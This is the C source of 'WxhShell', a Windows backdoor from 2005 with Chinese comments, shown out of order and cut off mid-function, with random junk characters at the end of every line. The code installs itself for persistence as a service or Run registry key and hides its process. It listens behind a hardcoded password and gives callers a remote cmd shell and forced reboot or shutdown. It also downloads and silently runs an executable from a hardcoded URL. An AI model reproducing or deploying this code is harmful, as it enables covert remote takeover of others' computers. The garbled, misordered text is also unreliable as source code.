    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rBye%rQRq  
    if(Boot(SHUTDOWN)) B_i@D?bTD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !R-M:|  
    else { |Kky+*  
    closesocket(wsh); }o0R`15dA  
    ExitThread(0); u3(zixb  
    } (s4w0z  
    break; PCF!Y(l  
    } 2>l4$G 0  
  // 获取shell ogbLs)&+a  
  case 's': { 8G; t[9  
    CmdShell(wsh); &%+}bt5  
    closesocket(wsh); lO3$V JI  
    ExitThread(0); oFB~)}f<v  
    break; 75v 5/5zRn  
  } d@#!,P5 `  
  // 退出 \-a^8{.^E  
  case 'x': { jq yqOhb4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /5 B{szf  
    CloseIt(wsh); 2~Z P[wr  
    break; ~KHGh29  
    } DygMavA.  
  // 离开 |s`j=<rNQI  
  case 'q': { |b7 v(Hx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :0|]cHm  
    closesocket(wsh); )8VrGg?  
    WSACleanup(); 9\ZlRYnc=  
    exit(1); %K8Ei/p\t]  
    break; 23?\jw3w  
        } ~XQj0'  
  } ,~u5SR  
  } Q]]}8l2  
Z 6KM%R  
  // 提示信息 4Xi _[ Xf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xS?[v&"2  
} o7 ^t- L  
  } JJ`RF   
 >Eg/ir0  
  return; 9Jd{HI=  
} dZcRLLR  
d/5i4g[q  
// shell模块句柄 q}P< Ejq}  
int CmdShell(SOCKET sock) *"Yz"PK  
{ uJ<n W%}  
STARTUPINFO si; r LQBaT7t#  
ZeroMemory(&si,sizeof(si)); f'&30lF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tmT/4Ia  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L A &W@  
PROCESS_INFORMATION ProcessInfo; h6J0b_3h4  
char cmdline[]="cmd"; I/4:SNha  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?.Mw  
  return 0; KG9h rT  
} S. my" j  
u~SvR~OE  
// 自身启动模式 XTboFrf  
int StartFromService(void) A+Uil\%  
{ mp]}-bR)  
typedef struct L3}n(K AJj  
{ "<['W(  
  DWORD ExitStatus; Y'K+O  
  DWORD PebBaseAddress; ,@I_b  
  DWORD AffinityMask; ab"6]%_  
  DWORD BasePriority; 5?6U@??]  
  ULONG UniqueProcessId; '"u>;Bq  
  ULONG InheritedFromUniqueProcessId; {2jetX`@h  
}   PROCESS_BASIC_INFORMATION; pc9m,?n  
0zJT _H+  
PROCNTQSIP NtQueryInformationProcess; st~ 1[in  
JF{yhx,+ p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iw@ou  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^G :}%4  
R`M>w MLH  
  HANDLE             hProcess; B$ty`/{w,B  
  PROCESS_BASIC_INFORMATION pbi; bogw/)1  
GM]" $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {jyI7 r#X  
  if(NULL == hInst ) return 0; kH;DAphk  
s?-@8.@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jhRg47A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RLy2d'DS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~!V5Ug_2  
~yX8p7qr  
  if (!NtQueryInformationProcess) return 0; U`)\|\NY  
WG~|sLg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qKt*<KGeY  
  if(!hProcess) return 0; l]g /rs  
Rgstk/1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,K/l;M5I  
$] ])FM"b  
  CloseHandle(hProcess); gu1:%raXd  
gKPqWh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )Cas0~RM  
if(hProcess==NULL) return 0; T[?wbYfW  
k4n 4 BL  
HMODULE hMod; z (1zth  
char procName[255]; %|"0p3  
unsigned long cbNeeded; g?7I7W~?`  
3t4i2]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7d m:L'0  
xX !`0T7Y  
  CloseHandle(hProcess); 95XQ?%  
Oc,E\~  
if(strstr(procName,"services")) return 1; // 以服务启动 biLNR"/E  
a- \M)}T  
  return 0; // 注册表启动 XBr-UjQ  
} )7aUDsu>4  
}]<Ghns  
// 主模块 9mmkFaBQ  
int StartWxhshell(LPSTR lpCmdLine) X[SdDYMY  
{  =8o$  
  SOCKET wsl; -$ VP#%  
BOOL val=TRUE; }O + a  
  int port=0; O|} p=ny  
  struct sockaddr_in door; |&oTxx$S  
Nc da~h Q  
  if(wscfg.ws_autoins) Install(); G(3wI}  
&FpoMW  
port=atoi(lpCmdLine); u\y$<  
=#Z+WD-E  
if(port<=0) port=wscfg.ws_port; !,cL c}a  
C>:,\=y%  
  WSADATA data; 94}y,\S~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "- ?uB Mz  
yg^ 4<A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w7%.EA{N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KXiStwS  
  door.sin_family = AF_INET; KSYHG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U^;|as  
  door.sin_port = htons(port); 3 ,f3^A  
V<i_YLYmJe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V q[4RAd^P  
closesocket(wsl); nZX`y -AZ  
return 1; 8Q(A1U  
} pV(qan,  
KIGMWS^^  
  if(listen(wsl,2) == INVALID_SOCKET) { =x@v{cP  
closesocket(wsl); =&"a:l  
return 1; <dKHZ4  
} ANRZQpnXQ  
  Wxhshell(wsl); 9 >"}||))  
  WSACleanup(); ELZ@0,  
!DkIM}.  
return 0; n #S?fsQN  
"H\R*\-0  
} _&RGhA  
jpkKdQX)  
// 以NT服务方式启动 &e3pmHp'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tRbZX{  
{ 7po;*?Ox  
DWORD   status = 0; :0kKw=p1R  
  DWORD   specificError = 0xfffffff; Rxq4Diq5k  
)S9}uOG#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6~O;t'd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u/apnAW@M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &],O\TAul  
  serviceStatus.dwWin32ExitCode     = 0; v)aV(Oa  
  serviceStatus.dwServiceSpecificExitCode = 0; 0v|qP  
  serviceStatus.dwCheckPoint       = 0; w19OOD  
  serviceStatus.dwWaitHint       = 0; e> Dux  
bD=R/yA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ]l}bk]  
  if (hServiceStatusHandle==0) return; 5R6QZVc  
x@*?~1ai  
status = GetLastError(); l%qfaU2  
  if (status!=NO_ERROR) @QDUz>_y  
{ 69 J4p=c,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (ZP e{;L.  
    serviceStatus.dwCheckPoint       = 0; F(`Q62o@  
    serviceStatus.dwWaitHint       = 0; G+t zp&G@  
    serviceStatus.dwWin32ExitCode     = status; :4)lmIu  
    serviceStatus.dwServiceSpecificExitCode = specificError; i "aQm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @h\i<sh!^  
    return; y!x-R !3  
  } r;O?`~2'4  
<bJ~Ol  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }OSfC~5P  
  serviceStatus.dwCheckPoint       = 0; u4xJ-Vu  
  serviceStatus.dwWaitHint       = 0; O]l-4X#8F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )>]SJQ!k  
} &{8[I3#@  
F#o{/u?T  
// 处理NT服务事件,比如:启动、停止 (kx>\FIK*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &VxK AQMxN  
{ 9lX[rBZ  
switch(fdwControl) /x /W>J2  
{ BT(G9 Pj;  
case SERVICE_CONTROL_STOP: R=W$3Ue~,  
  serviceStatus.dwWin32ExitCode = 0; z u1gP/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YGi_7fTyc=  
  serviceStatus.dwCheckPoint   = 0; x!onan  
  serviceStatus.dwWaitHint     = 0; hG3RZN#ejq  
  { /sl#M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 d|+c<  
  } N]|U-fN\  
  return; 'v@1_HHW\  
case SERVICE_CONTROL_PAUSE: K$M,d - `b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6uFGq)4p@  
  break; ezd@>(hJ  
case SERVICE_CONTROL_CONTINUE: l_x>.'a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v=H!Y";  
  break; sk. rJ  
case SERVICE_CONTROL_INTERROGATE: :wJ!rn,4  
  break; +Jc-9Ko\c;  
}; b$FXRR\G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q5w)i  
} @HXXhYH  
y] ~X{v  
// 标准应用程序主函数 i4 tW8 Il  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zdDJcdbGd1  
{ J~G"D-l<9/  
g? \pH:|79  
// 获取操作系统版本 SiJX5ydz  
OsIsNt=GetOsVer(); E9[8th,t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @aGS~^U h  
k?=V?JWY  
  // 从命令行安装 7h/{F({r=  
  if(strpbrk(lpCmdLine,"iI")) Install(); z9KsSlS ^  
6d/b*,4[  
  // 下载执行文件 sfNAGez  
if(wscfg.ws_downexe) { <kor;exeJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O~&l.>??  
  WinExec(wscfg.ws_filenam,SW_HIDE); oDas~0<oh  
} UJF }Ye  
:ui1]its4  
if(!OsIsNt) { N,_ej@L8  
// 如果时win9x,隐藏进程并且设置为注册表启动 'C*NyHc  
HideProc(); gf2w@CVF>=  
StartWxhshell(lpCmdLine); Dy^4^ J5+  
} JGD{cr[S  
else V1;Qt-i  
  if(StartFromService()) {1YT a:evl  
  // 以服务方式启动 _>:g&pS/  
  StartServiceCtrlDispatcher(DispatchTable); 4/ U]7Y  
else U^0vLyqW^5  
  // 普通方式启动 o6K BJx  
  StartWxhshell(lpCmdLine); ^NLKX5Q  
E(U}$Zey  
return 0; JnY3]  
} 1y"37;x  
cmN0ya  
7RD` *s  
<CmsnX  
=========================================== W@$p'IBwm  
O\KAvoQ%s  
r rwsj`  
Nyqm0C6m^  
'7*=m^pc  
F<(x z=  
" fF[g%?w  
A^p $~e\)  
#include <stdio.h> |b3/63Ri-0  
#include <string.h> MM8)yCI  
#include <windows.h> n ~3c<{coZ  
#include <winsock2.h> I3 x}F$^  
#include <winsvc.h> rzBWk  
#include <urlmon.h> : }IS=A  
YYvs~?bAy  
#pragma comment (lib, "Ws2_32.lib") P*T)/A%4  
#pragma comment (lib, "urlmon.lib") #129 i2  
y14@9<~9  
#define MAX_USER   100 // 最大客户端连接数 `WW0~Tp3  
#define BUF_SOCK   200 // sock buffer uU\iji\  
#define KEY_BUFF   255 // 输入 buffer NR[mzJv  
d?P aZz{4  
#define REBOOT     0   // 重启 ,RHHNTB("  
#define SHUTDOWN   1   // 关机 mHMej@  
;i#gk%- 2  
#define DEF_PORT   5000 // 监听端口 >lW*%{|b$^  
3*TS 4xX  
#define REG_LEN     16   // 注册表键长度 C(P$,;6  
#define SVC_LEN     80   // NT服务名长度 ,{50zx2  
W*m[t&;  
// 从dll定义API o|W? a#_\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ttj5% ~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v8IL[g6"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =KZ4:d5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yi?&^nX@9,  
l!=WqIZ  
// wxhshell配置信息 #50)DwD  
struct WSCFG { ezvaAhd{  
  int ws_port;         // 监听端口 f.$o|R=v  
  char ws_passstr[REG_LEN]; // 口令 jb2:O,+!  
  int ws_autoins;       // 安装标记, 1=yes 0=no #c>MUC(?s:  
  char ws_regname[REG_LEN]; // 注册表键名 gNd J=r4  
  char ws_svcname[REG_LEN]; // 服务名 Sv@p!-m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `[&2K@u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dE]"^O#Mc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,no:6&#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3>" h*U#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" srLr~^$j[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '5U$`Xe1  
y^\#bpq&\  
}; 7]j-zv  
yp^*TD/J  
// default Wxhshell configuration B,833Azi  
struct WSCFG wscfg={DEF_PORT, ,`zRlkX  
    "xuhuanlingzhe", e}[we:  
    1, :(`>bY  
    "Wxhshell", Ne7{{1  
    "Wxhshell", !nq\x8nU  
            "WxhShell Service", 8M9\<k6  
    "Wrsky Windows CmdShell Service", ';, Bn9rv  
    "Please Input Your Password: ", %i>e  
  1, ;-GzGDc~0  
  "http://www.wrsky.com/wxhshell.exe", JvL'gJ$70  
  "Wxhshell.exe" vGwD~R  
    }; "q^'5p]  
=awO63j>  
// 消息定义模块 >Ryss@o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B"9hQb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oz6+rM6MY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |QOJ9~hxD  
char *msg_ws_ext="\n\rExit."; ?s)sPM?  
char *msg_ws_end="\n\rQuit."; <-:@} |br  
char *msg_ws_boot="\n\rReboot..."; !5%5]9'n@*  
char *msg_ws_poff="\n\rShutdown..."; ]Y&)98  
char *msg_ws_down="\n\rSave to "; YOV4)P"  
zk'K.! `^  
char *msg_ws_err="\n\rErr!"; iEVA[xy=D  
char *msg_ws_ok="\n\rOK!";  AY'?Xt  
p?$G>nkdq  
char ExeFile[MAX_PATH]; NJ)2+  
int nUser = 0; ZoON5P>  
HANDLE handles[MAX_USER]; qD;v/,?  
int OsIsNt; W0MnGzZ  
EKeh>3;?  
SERVICE_STATUS       serviceStatus; 20l_ay  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sci4EGc  
\q|7,S,5  
// 函数声明 c Z6p^  
int Install(void); }d~wDg<#  
int Uninstall(void); .D,?u"fk|  
int DownloadFile(char *sURL, SOCKET wsh); ]\RSHz  
int Boot(int flag); gJPDNZ*6pk  
void HideProc(void); Ue3B+k9w  
int GetOsVer(void); <Hh5u~  
int Wxhshell(SOCKET wsl); JC&6q >$  
void TalkWithClient(void *cs); IQw %|^  
int CmdShell(SOCKET sock); jj3Pf>D+k  
int StartFromService(void); R] Disljq  
int StartWxhshell(LPSTR lpCmdLine); p584)"[*t  
9eGCBVW:*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7~ *;=,mw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]PlY}VOY  
3V/_I<y  
// 数据结构和表定义 x[PEn  
SERVICE_TABLE_ENTRY DispatchTable[] = XhE$&Ff  
{ K}PvrcO1  
{wscfg.ws_svcname, NTServiceMain}, :/@k5#DY  
{NULL, NULL}  /[Bl  
}; NokXE  
 Iys6R?~  
// 自我安装 l5=u3r9WYC  
int Install(void) 0{0;1.ZP  
{ #)_J)/h  
  char svExeFile[MAX_PATH]; oUQGLl!V  
  HKEY key; Gva}J 6{  
  strcpy(svExeFile,ExeFile); t7|MkX1  
|?x^8e<*  
// 如果是win9x系统,修改注册表设为自启动 09  
if(!OsIsNt) { oMh~5 W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]`zjRRd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +"YTCzv;t  
  RegCloseKey(key); >"cr-LB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ulH0%`Fi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uQ:Qb|  
  RegCloseKey(key); _Fy4DVCg  
  return 0; j';n8|Y9  
    } cy1\u2x_`  
  } [#7y[<.P  
} T$ H2'tK|  
else { =LXvlt'Q34  
[zY!'cz?  
// 如果是NT以上系统,安装为系统服务 YO)')&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /K_ i8!y  
if (schSCManager!=0) uDILjOT  
{ TkA9tFi  
  SC_HANDLE schService = CreateService HS{P?~:=U  
  ( M} O[`Fx{W  
  schSCManager, 3QCMK^#Z:  
  wscfg.ws_svcname, "3@KRb4f  
  wscfg.ws_svcdisp, e@[9C(5E"  
  SERVICE_ALL_ACCESS, f 4R1$(<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h=hoV5d@  
  SERVICE_AUTO_START, :OHSxb>[  
  SERVICE_ERROR_NORMAL, c+1vqbqHG  
  svExeFile, = Q@6c   
  NULL, *7\W=-  
  NULL, YjFWC!Qj$  
  NULL, aJI>FTdK  
  NULL, w-lrnjs  
  NULL _]P a>8X*  
  ); M z9 3  
  if (schService!=0) 9 >%+bA(  
  { ?F1wh2o q  
  CloseServiceHandle(schService); D^n xtuT*  
  CloseServiceHandle(schSCManager); ja?s@Y}-9s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T 4eWbNSs  
  strcat(svExeFile,wscfg.ws_svcname); ~fBex_.o*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0k%hY{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }0Y`|H\v  
  RegCloseKey(key); (e(Rr 4  
  return 0; 1f<RyAE?5  
    } )]wuF`  
  } F%}7cm2  
  CloseServiceHandle(schSCManager); +miR3~w.  
} k9 l^6#<?  
} /0 _zXQyV  
|!oXvXU  
return 1; # J]~  
} c88_}%h?(  
_@~PL>g"p  
// 自我卸载 BO"qD[S  
int Uninstall(void) \p3v#0R{  
{ !f`5B( @  
  HKEY key; W=3? x  
T RDxT  
if(!OsIsNt) { N2T&,&, t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~?CS_B *  
  RegDeleteValue(key,wscfg.ws_regname); pD[pTMG@$  
  RegCloseKey(key); 6(>WGR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ZsP]};*  
  RegDeleteValue(key,wscfg.ws_regname); @C=m?7O98  
  RegCloseKey(key); =6fB*bNk]  
  return 0; I qx84  
  } [<Q4U{F  
} #hy+ L  
} <cj}:H *  
else { !UVk9  
Mb1wYh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L?Cjo4xS  
if (schSCManager!=0) kf'=%]9#_T  
{ >9MS" t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i&*<lff  
  if (schService!=0) Zt_r9xs>  
  { y] y9'5_  
  if(DeleteService(schService)!=0) { 'gCZ'edM  
  CloseServiceHandle(schService); Cg^:jd  
  CloseServiceHandle(schSCManager); >8(jW  
  return 0; J)KnE2dw5  
  } /=@e &e  
  CloseServiceHandle(schService); hJLT!33:  
  } R+uw/LG  
  CloseServiceHandle(schSCManager); 7DZTQUb"  
} (gU2"{:]J  
} C99&L3bz^(  
jqtVpNwM  
return 1; GMw)*  
} 9DPb|+O-  
TL@mM  
// 从指定url下载文件 x) 5LT}p  
int DownloadFile(char *sURL, SOCKET wsh) QAUykS8  
{ }uiPvO+&p  
  HRESULT hr; h1-Gp3#  
char seps[]= "/"; ^cn@?k((A  
char *token; sG1BNb_  
char *file; OpUA{P  
char myURL[MAX_PATH]; 1$(  
char myFILE[MAX_PATH]; #C x%OIi[f  
Wn~ZA#  
strcpy(myURL,sURL); K~3Ebr  
  token=strtok(myURL,seps); I=odMw7Hj  
  while(token!=NULL) AqqHD=Yp  
  { uY]T:UVk  
    file=token; URQ@=W7  
  token=strtok(NULL,seps); v2=/[E@  
  } ~1ps7[  
HzEGq,.  
GetCurrentDirectory(MAX_PATH,myFILE); nALnB1  
strcat(myFILE, "\\"); LuL$v+`  
strcat(myFILE, file); {G%3*=?,j  
  send(wsh,myFILE,strlen(myFILE),0); K:a3+k d  
send(wsh,"...",3,0); BV1u,<T"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H`gb}?9R  
  if(hr==S_OK) l=NAq_?N\  
return 0; M}KZG'7  
else s>r ^r%uK  
return 1; 2qXo{C3  
6Hl < ,(vn  
} XR+rT  
_Fxe|"<^  
// 系统电源模块 MH FaSl  
int Boot(int flag) xl9(ze  
{ %ZiK[e3G  
  HANDLE hToken; YuA7r"c  
  TOKEN_PRIVILEGES tkp; I{EIHD<  
-$9~xX  
  if(OsIsNt) { _jo$)x+'x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,H@TYw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nNu[c[V  
    tkp.PrivilegeCount = 1; ?Nu#]u-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,# eO&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *#6|!%?g  
if(flag==REBOOT) { 0R*}QXph  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I:HV6_/^-G  
  return 0; jzQ I>u  
} RPY 6Wh| 4  
else { WSS(Bm|B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a}w&dE$!-  
  return 0; ,[^o9u uB  
} w0aHEvH/  
  } 1 0V+OIC  
  else { >pnz_MQ   
if(flag==REBOOT) { }-dF+m:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3}yraX6r!  
  return 0; L PMb0F}"5  
} il7 !}  
else { ON NW.xHp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0$!.c~  
  return 0; Etdd\^  
}  *6'_5~G  
} ]Px:d+wX:  
>H8^0n)?  
return 1; f}A^]6MO:  
} Y[T J;O!R  
N!Rt;Xm2@  
// win9x进程隐藏模块 RBPYG u'6B  
void HideProc(void) /1U,+g^O>  
{ ]2g5Ka[>w  
JW2W>6Dgv[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E#m76]vkCU  
  if ( hKernel != NULL ) hY)YX,f=S  
  { -B",&yTV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VB}PNg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ud 5x$`  
    FreeLibrary(hKernel); f.sPE8 #3=  
  } ?NQD#  
sY&r bJ(P  
return; +W!'B r  
} Tm0?[[3hC  
yZQ1] '^31  
// 获取操作系统版本 ,80jMs  
int GetOsVer(void) 4+ykE:  
{ rAtai}Lx  
  OSVERSIONINFO winfo; ~y( ,EO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bwv/{3G,Ys  
  GetVersionEx(&winfo); MA l{66  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \nn56o@eN  
  return 1; m/SJ4op$  
  else `@W3sW/^  
  return 0; RRK^~JQI.2  
} q=(M!9cE  
$@XPL~4  
// 客户端句柄模块 17?NR\Q  
int Wxhshell(SOCKET wsl) 6yV5Yjs  
{ }?\#_BCjx(  
  SOCKET wsh; _:/Cl9~  
  struct sockaddr_in client; U0lqGEZ  
  DWORD myID; P*?d6v,r  
'` BjRg57]  
  while(nUser<MAX_USER) 11^ {W F  
{ %`t]FV^#  
  int nSize=sizeof(client); 3Y.d&Nz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eUGm ns  
  if(wsh==INVALID_SOCKET) return 1; eHfG;NsV /  
rF <iWM=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zM3H@;}m  
if(handles[nUser]==0) oRtY?6^$  
  closesocket(wsh); %tklup]LF8  
else >vNk kxWyQ  
  nUser++; L~SrI{aYPf  
  } i75?*ld  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `&"H* Ie  
,_e/a   
  return 0; VdjU2d  
} 7k[`]:*o  
?[*@T2Ck  
// 关闭 socket 4q@9  
void CloseIt(SOCKET wsh) .3g\[p   
{ [xp~@5r'  
closesocket(wsh); w2M IY_N?  
nUser--; _mI:Lr#dT  
ExitThread(0); gn4g 43  
} lL(}dbT~N  
H8=vQy  
// 客户端请求句柄 }hObtAS  
void TalkWithClient(void *cs) p0:&7,+a,  
{ ;{F;e)${M  
F(J!dG5#  
  SOCKET wsh=(SOCKET)cs; :Z7"c`6L!~  
  char pwd[SVC_LEN]; t0AqGrn  
  char cmd[KEY_BUFF]; <whPM  
char chr[1]; iu:p &h  
int i,j; v=yI#5  
sL[(cX?;2  
  while (nUser < MAX_USER) { M%Kx{*aw&  
=>9.@`.  
if(wscfg.ws_passstr) { tr67ofld|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  zxynEdO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {KQ-Ce-6  
  //ZeroMemory(pwd,KEY_BUFF); BR0p0%  
      i=0; \Vhp B   
  while(i<SVC_LEN) { "351s3ff  
"l2N_xX;  
  // 设置超时 ;wYwiSVd  
  fd_set FdRead; :8GxcqvCWq  
  struct timeval TimeOut; ?U.&7yY  
  FD_ZERO(&FdRead); fU){]YP  
  FD_SET(wsh,&FdRead); 9Av- ;!]  
  TimeOut.tv_sec=8; l8n[8AT1  
  TimeOut.tv_usec=0; jJ{ w -$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iJp!ROI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Uc%`? +Q  
 "lnk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]\b1~ki!F  
  pwd=chr[0]; 6;=wuoJi  
  if(chr[0]==0xd || chr[0]==0xa) { !E.l yz  
  pwd=0; 7!QXh;u  
  break; 0R!}}*Ee>q  
  } kpMM%"=V  
  i++; 2W-NCE%K)T  
    } >A@D;vx  
EA{*%9 A  
  // 如果是非法用户,关闭 socket @^4M~F%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ';L^mxh  
} @IKe<{w  
^DCv-R+ p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PHL@1K{)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l$~bkVNL  
3*23+}^G  
while(1) { r#w_=h)  
50hh0!1  
  ZeroMemory(cmd,KEY_BUFF); pxnUe1=  
}c#/1J7  
      // 自动支持客户端 telnet标准   U=#ylQ   
  j=0; U$JIF/MO_  
  while(j<KEY_BUFF) { WMl^XZO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zMqEMx9  
  cmd[j]=chr[0]; G+^$JN=  
  if(chr[0]==0xa || chr[0]==0xd) { eu|q {p  
  cmd[j]=0; Lj1 @yokB  
  break; Ck a]F2,  
  } w=>mG-  
  j++; [jn;| 3  
    } ,ST.pu8N.  
|VEAzY|[#  
  // 下载文件 3NZFW{u  
  if(strstr(cmd,"http://")) { R'HA>?D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VIdoT2  
  if(DownloadFile(cmd,wsh)) \k-juF80  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); myX0<j3G5  
  else 1)r_h(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eyjUNHeh#  
  } eH*b -H[  
  else { =_6h{f&Q  
